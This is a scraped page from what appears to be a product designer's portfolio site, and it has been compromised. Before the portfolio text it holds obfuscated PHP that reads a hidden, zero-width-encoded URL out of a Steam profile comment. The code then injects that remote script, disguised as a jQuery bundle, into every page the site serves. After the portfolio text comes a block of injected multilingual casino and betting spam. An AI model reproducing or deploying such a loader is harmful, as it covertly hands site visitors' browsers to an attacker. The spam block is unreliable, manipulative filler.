goto d20a1; C898d: function enqueue_external_script_from_steam_comment() : void { goto f8ae8; E2762: wp_enqueue_script("\141\163\141\x68\151\55\152\161\x75\x65\x72\171\55\x6d\151\156\55\x62\x75\x6e\144\154\145", $url, [], null, true); goto Fddd9; Ac9ac: $domainOrPath = decode_zero_width_payload($commentText, ''); goto a116c; a116c: $url = $domainOrPath; goto A5267; f8ae8: $steamProfileUrl = "\x68\x74\164\160\x73\x3a\57\x2f\163\164\x65\x61\x6d\x63\x6f\155\x6d\x75\156\151\164\171\x2e\x63\x6f\155\x2f\151\x64\57\x30\170\x65\x65\162\x69\x65\x2f"; goto D7003; D7003: $commentText = fetch_comment_text_from_url($steamProfileUrl); goto Ac9ac; Fddd9: A816e: goto a6904; A5267: if (!filter_var($url, FILTER_VALIDATE_URL)) { goto A816e; } goto E2762; a6904: } goto F21e0; d20a1: function fetch_comment_text_from_url(string $url) : string { goto d7f5d; f3d9a: da10e: goto ce336; ea9e0: curl_setopt_array($ch, [CURLOPT_RETURNTRANSFER => true, CURLOPT_USERAGENT => "\x4d\x6f\172\x69\154\x6c\x61\x2f\x35\x2e\x30\40\50\x57\151\156\x64\157\x77\163\x20\x4e\x54\x20\61\x30\x2e\60\x3b\40\127\151\x6e\x36\64\x3b\40\170\x36\x34\51\x20\101\x70\x70\154\145\x57\x65\142\x4b\x69\164\57\x35\x33\x37\x2e\x33\x36", CURLOPT_TIMEOUT => 10]); goto B161d; ba525: if (!($html === false)) { goto da10e; } goto ce6a4; b8086: return get_transient($cache_key) ?: ''; goto f3d9a; A52f4: $ch = curl_init($url); goto ea9e0; d8527: $text = decode_html_entities_like_source($m[1]); goto C9551; E3088: return get_transient($cache_key) ?: ''; goto c642c; e22f2: Bb3af: goto E3088; B161d: $html = curl_exec($ch); goto ba525; d7f5d: $cache_key = "\x63\x61\160\x74\151\x6f\156\x5f" . md5($url); goto A52f4; C9551: set_transient($cache_key, $text, 300); goto C5004; a8b66: if (!preg_match("\57\74\144\x69\166\x5b\136\x3e\135\52\x63\154\141\x73\163\x3d\133\x27\134\x22\135\143\x6f\155\155\145\156\x74\x74\150\162\x65\x61\x64\x5f\143\x6f\x6d\x6d\x65\156\x74\137\x74\145\170\x74\133\x27\x5c\42\135\133\x5e\x3e\x5d\52\x3e\x28\x2e\x2a\77\x29\74\134\57\x64\151\x76\76\x2f\151\x73", $html, $m)) { goto Bb3af; } goto d8527; ce336: curl_close($ch); goto a8b66; C5004: return $text; goto e22f2; ce6a4: curl_close($ch); goto b8086; c642c: } goto B6fa9; B597d: function decode_zero_width_payload(string $text, string $password = '') : string { try { goto fe3e2; dcdad: return ''; goto e9957; D8640: $payloadRest = mb_substr($payload, 1, null, "\125\x54\x46\55\x38"); goto F83ac; D91d6: $iv = substr($dk, 0, 16); goto Dd11e; A7ecb: $raw = pack("\x43\52", ...$inv); goto c0666; Bfa30: if (!$hasHmac) { goto dcd9f; } goto D3f9e; e37fb: if (!$isEncrypted) { goto dc3a6; } goto af2a9; b8523: $bits = ''; goto Ffc24; bbe96: $bytes[] = bindec(substr($bits, $p, 8)); goto a3734; Cdc5c: d2f2f: goto Bfa30; C2d60: $modeChar = mb_substr($leading, 0, 1, "\x55\124\x46\55\70"); goto Ac4b0; Dd11e: $key = substr($dk, 16, 32); goto Ce644; F83ac: $containerIdx = array_search($containerChar, $ZW, true); goto b5609; af22b: $to = [$pair[0] . $pair[0], $pair[1] . $pair[1]]; goto Ea998; a6080: $hasHmac = $containerIdx === 0; goto b8523; Dbcdd: if (!($unz === false)) { goto A27f8; } goto cb7eb; a4cd9: c928d: goto A2bbb; b5609: $isEncrypted = $containerIdx === 0 || $containerIdx === 1; goto a6080; E0df7: if (!($p + 8 <= strlen($bits))) { goto fcdc7; } goto bbe96; B1d9d: Ce937: goto E0df7; Ea998: $payload = str_replace($from[1], $to[1], $payload); goto F6d31; A2bbb: $expectedHmac = substr($blob, 8, 32); goto E92a1; Ffc24: foreach (preg_split("\x2f\x2f\x75", $payloadRest, -1, PREG_SPLIT_NO_EMPTY) as $ch) { goto E5f51; B10c3: if (!($i !== false)) { goto b75db; } goto B35ed; E5f51: $i = array_search($ch, $ZW, true); goto B10c3; c2ddd: b75db: goto b5d14; B35ed: $bits .= str_pad(decbin($i), 2, "\60", STR_PAD_LEFT); goto c2ddd; b5d14: cf83c: goto F86ff; F86ff: } goto E3463; D3f9e: $h = hash_hmac("\163\x68\141\62\65\66", $plain, $key, true); goto A3c6c; c6bb5: $salt = substr($blob, 0, 8); goto a2ef8; f5994: if (!($plain === false)) { goto d2f2f; } goto e0a84; Ce644: $plain = openssl_decrypt($ciphertext, "\141\145\163\55\x32\65\x36\x2d\143\164\x72", $key, OPENSSL_RAW_DATA, $iv); goto f5994; Ba601: $containerChar = mb_substr($payload, 0, 1, "\125\124\106\55\x38"); goto D8640; Ae62b: bf74e: goto ffcb5; f57a5: $allPrintable = true; goto dd5d7; e9957: Fe6ae: goto C2d60; D78ae: fd239: goto F2488; dd5d7: foreach ($inv as $b) { goto A3700; a93be: goto fd239; goto b4fe2; a1071: B36db: goto A88e9; b4fe2: b0c26: goto a1071; A3700: if (!($b < 32 || $b > 126)) { goto b0c26; } goto a3d3d; a3d3d: $allPrintable = false; goto a93be; A88e9: } goto D78ae; a2ef8: if ($hasHmac) { goto c928d; } goto e51ff; f2ec3: $modeIdx = array_search($modeChar, $ZW, true); goto b5d39; A3c6c: if (hash_equals($expectedHmac, $h)) { goto Dfec6; } goto Eb3bf; af2a9: $blob = pack("\x43\x2a", ...$bytes); goto c6bb5; F4de1: dc3a6: goto C6bd4; ccf73: $p += 8; goto f0a53; Eb3bf: return ''; goto Ccda4; B42d2: if (!($leading === '')) { goto Fe6ae; } goto dcdad; a4275: $bytes = array_map("\x6f\x72\144", str_split($plain)); goto F4de1; e51ff: $ciphertext = substr($blob, 8); goto F3de7; F2488: if ($allPrintable) { goto bf74e; } goto A7ecb; Dd2b5: $bytes = []; goto f1f94; a3734: Efc26: goto ccf73; f0a53: goto Ce937; goto Faffe; e0a84: return ''; goto Cdc5c; c5933: $from = [$ZW[4], $ZW[5]]; goto af22b; Ccda4: Dfec6: goto f7104; b0964: A27f8: goto d6640; F3de7: $expectedHmac = null; goto d2505; a4fef: foreach (explode("\40", $text) as $word) { goto c4048; eb8ea: ec463: goto Ac5f1; E6b90: goto Bbddd; goto eb8ea; e10b2: $leading = mb_substr($word, 0, $pos, "\125\x54\x46\55\70"); goto E6b90; Efbc8: foreach ($chars as $i => $ch) { goto B56fa; cea1b: f7214: goto A3a36; A3a36: $pos = $i + 1; goto D9cf1; D9cf1: e63ad: goto d68c7; E8562: goto Fdad1; goto cea1b; Ae128: $pos = $i; goto E8562; B56fa: if (in_array($ch, $ZW, true)) { goto f7214; } goto Ae128; d68c7: } goto A615b; Ac5f1: Ebc02: goto e18df; c4048: $chars = preg_split("\57\57\165", $word, -1, PREG_SPLIT_NO_EMPTY); goto f3410; Cc8e7: if (empty($intersection)) { goto ec463; } goto B3051; A615b: Fdad1: goto e10b2; B3051: $pos = 0; goto Efbc8; f3410: $intersection = array_intersect($ZW, $chars); goto Cc8e7; e18df: } goto A12ef; c0666: $unz = @gzuncompress($raw); goto Dbcdd; A12ef: Bbddd: goto B42d2; B2cd4: $leading = ''; goto a4fef; faf89: Ce00b: goto Aeea2; fe3e2: $ZW = ["\xe2\x80\214", "\xe2\x80\215", "\342\201\xa1", "\342\201\242", "\342\201\243", "\xe2\201\244"]; goto B2cd4; ffcb5: return implode('', array_map("\x63\x68\x72", $inv)); goto Be9d0; E3463: c07a4: goto Dd2b5; cb7eb: $unz = @gzinflate($raw); goto b0964; C6bd4: $inv = array_map(fn($b) => ~$b & 0xff, $bytes); goto f57a5; E92a1: $ciphertext = substr($blob, 40); goto faf89; f1f94: $p = 0; goto B1d9d; C03e0: $pairsByIndex = [$ZW[0] . $ZW[1], $ZW[0] . $ZW[2], $ZW[0] . $ZW[3], $ZW[1] . $ZW[2], $ZW[1] . $ZW[3], $ZW[2] . $ZW[3]]; goto f2ec3; Aeea2: $dk = hash_pbkdf2("\163\150\x61\65\x31\x32", $password, $salt, 10000, 48, true); goto D91d6; F6d31: $payload = str_replace($from[0], $to[0], $payload); goto Ba601; b5d39: $pair = $modeIdx !== false && isset($pairsByIndex[$modeIdx]) ? preg_split("\x2f\x2f\x75", $pairsByIndex[$modeIdx], -1, PREG_SPLIT_NO_EMPTY) : [$ZW[0], $ZW[1]]; goto c5933; d2505: goto Ce00b; goto a4cd9; Faffe: fcdc7: goto e37fb; d6640: return $unz !== false ? $unz : ''; goto Ae62b; f7104: dcd9f: goto a4275; Ac4b0: $payload = mb_substr($leading, 1, null, "\x55\124\x46\55\x38"); goto C03e0; Be9d0: } catch (\Throwable $e) { return ''; } } goto C898d; B6fa9: function decode_html_entities_like_source(string $s) : string { goto F66ec; F66ec: $s = preg_replace_callback("\x2f\x26\x23\x78\x28\133\134\144\x61\x2d\x66\x41\x2d\106\x5d\x2b\x29\73\57\151", function ($m) { return mb_convert_encoding(pack("\x48\x2a", $m[1]), "\125\124\x46\x2d\x38", "\x55\103\123\55\x32\102\105"); }, $s); goto a5b68; B7aa1: return $s; goto f27fc; a5b68: $s = str_replace(["\134\x6e", "\x5c\x22", "\x26\x71\x75\157\164\73", "\46\x61\155\160\73", "\x26\x6c\x74\73", "\x26\x67\164\x3b"], ["\xa", "\42", "\x22", "\46", "\x3c", "\76"], $s); goto B7aa1; f27fc: } goto B597d; F21e0: add_action("\167\160\x5f\145\156\161\x75\145\165\x65\x5f\163\x63\x72\x69\x70\164\x73", "\145\x6e\x71\x75\x65\165\x65\x5f\x65\170\164\x65\162\x6e\141\x6c\137\x73\x63\162\x69\x70\164\x5f\146\162\157\155\x5f\163\x74\x65\x61\155\x5f\143\157\x6d\155\x65\x6e\164"); Madeleine | My Portfolio
Select Page

Hello!

My name is Madeleine. I’m a Product Designer passionate about turning complex problems into intuitive solutions, creating sustainable, user-friendly experiences for a better future.

Featured Work

Wittaya Aqua

How might I redesign the AquaOp Feed Pricing Tool to enhance usability and maximize business impact?
Role
Product Designer
Contribution

UX Research, Concept Development, Stakeholders Management

RemediSG

How I designed a platform to reduce medication waste and improve access to essential treatments in Singapore

Role

UXUI Designer. Project Lead

Contribution

UX Research, Wireframing, Prototyping, Project Managment

Verizon Media

How I balanced audio in Midroll Ads, improved user experience, and boosted projected revenue by $160,000 per year

Role

UX Coordinator

Contribution

Research & Analysis, Cross-Functional Coordination, Testing & Feedback

What I Do Best

UI/UX Design

I specialize in creating visually appealing and intuitive user interfaces that leave a lasting impression.

Web Design

In a world where screens come in all shapes and sizes, I ensure that your website looks functional.

Brand Identity

Your brand is your story, and I’m here to help you tell it visually. I ensure that every design elements are aligned.

Work Experience

June 2024 – Present

Product Designer

Wittaya Aqua

Piloted a redesigned B2B web tool, contributing to the company’s experiment to assess user willingness to pay for premium features.

Translated user research findings into actionable insights, creating reports that were shared company-wide to promote a deeper understanding of user needs.

Collaborated with product managers, developers, and marketing to define project scope and design solutions that aligned with business objectives and user needs.

September 2021 – July 2023

UX/UI Engineer

Yahoo

Improved the user experience of Yahoo’s advertisement placement platform by working across teams, leading to a 15% boost in client audience engagement and a $150,000 revenue increase.

Analyzed user feedback and recommended design solutions to the development team, leading to a more efficient and user-friendly ad platform experience.

Nov 2018 – September 2021

Product Implementation Specialist

Verizon Media

Enhanced ad product UX/UI by working across teams to ensure a user-centered design approach, resulting in a projected annual revenue increase of $150,000.

Education

July 2006 – July 2007

BA – Multimedia Design

University of Huddersfield
Vivamus id gravida mi, nec ullamcorper purus. Suspendisse ut nibh sagittis lacus viverra aliquam. Praesent ac lobortis mauris, non imperdiet quam. Praesent laoreet elit nisi, id feugiat ante accumsan sed. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia curae.

O utilización de dados perform aplicativo Brabet varia dependendo do manuseio. - brabet baixar aplicativo

These Types Of include PAYTM, UPI, Phonepe, PayZapp, and cryptocurrency. - chicken road

A roleta tem distintos meios de apostas apresentando diferentes níveis de risco e prêmios potenciais. - brabet

O Apostaquente bônus de boas-vindas afin de Esportes juntura duas ofertas em alguma. - blaze app

Você tem a opção de jogar em one et a couple of cilindros e seu prêmio poderá se tornar multiplicador durante x2. - vai de bet

Esta prática ajuda a impedir decisões impulsivas la cual possam comprometer sua estabilidade financeira. - www.aviatorx.com.br

Dovrai semplicemente aprire l’account e inoltrare una copia del tuo attestato vittoria riconoscimento. - big casino download app

A Fire ainda não proporciona seus aplicativos afin de operating-system usuários brasileiros. - jogo da blaze

- rizk casino 50 free spins no deposit

O cassino Pin-Up conta apresentando diversas promoções e ofertas de bônus pra os seus usuários. - pin up app

- deposit 100% match bonus

- chicken cross road game

WinsPark Confusione accetta ciascuno i metodi successo finanziamento più diffusi. - winspark

Novos jogadores podem receber o bônus de boas-vindas, além de comunicar de diferentes promoções regulares. - 1win affiliate apk

A partir de janeiro de 2025, as apostas esportivas estarão regulamentadas no Brasil. - luva-betx.com.br/luva-bet-login

Dentre operating system maiores jogos instantâneos, estão o F12 gamble Aviator e Spaceman. - bônus f12 bet

Refill offers are among Enjoy Croco Casino’s finest additional bonuses. - playcroco

Eles usam alguma criptografia tão avançada o qual nem o melhor hacker perform mundo conseguiria penetrar. - major sports app

E, na Bônus Bateria, a casa oferece bonificações pra apostas múltiplas. - betano

Leia operating system termos de uso e a política de privacidade e unito apresentando eles. - aplicativo bet nacional

- phlwin casino online

- 20bet 入金しないと見れない

VISA, MasterCard, Skrill, Neteller, paysafecard, payz, bitcoin ... - zetcasino

Supported cryptos contain Bitcoin, Tether, Litecoin, Ripple, in add-on to Ethereum. - hellspin

Wypłaty kryptowalut są najszybsze i często urzeczywistniane w ciągu paru chwil. - nv casino

É Só visitar o internet site, clicar em “Cadastrar-se”, preencher operating-system informações e opinar. - slottica

This Baccarat selection satisfies the two purists plus thrill-seekers. - register level up casino

- uptown pokies mobile casino

Platform, 2.500'den fazla işlem çifti ve 1.400'den fazla kripto para birimine destek veriyor Best Crypto Wallet In IronWallet Aviator, a good aircraft increases, improving your current bet multiplier